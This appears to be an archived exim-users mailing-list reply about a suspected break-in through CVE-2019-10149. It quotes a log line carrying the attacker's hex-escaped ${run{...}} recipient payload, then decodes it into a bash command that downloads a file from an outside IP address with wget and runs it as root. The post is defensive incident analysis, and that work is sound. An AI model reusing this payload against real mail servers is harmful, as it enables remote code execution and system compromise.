Re: [exim] just been hacked, could be CVE-2019-10149?

Etusivu
Poista viesti
Vastaa
Lähettäjä: Cyborg
Päiväys:  
Vastaanottaja: exim-users
Aihe: Re: [exim] just been hacked, could be CVE-2019-10149?
Am 11.06.19 um 02:10 schrieb Calum Mackay via Exim-users:
> root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldm1ip\x20\x2dO\x20\x2froot\x2f\x2efabyfmnp\x20\x26\x26\x20sh\x20\x2froot\x2f\x2efabyfmnp\x20\x2dn\x22\x20\x26}}@xxx:
> Too many "Received" headers - suspected mail loop
>


For anyone interessted, this is what it looks like unscrambled:

root+${run{/bin/bash -c "wget --no-check-certificate -T 36
https://185.162.235.211/ldm1ip -O /root/.fabyfmnp && sh /root/.fabyfmnp
-n" &}}@xxx: Too many "Received" headers - suspected mail loop


Marius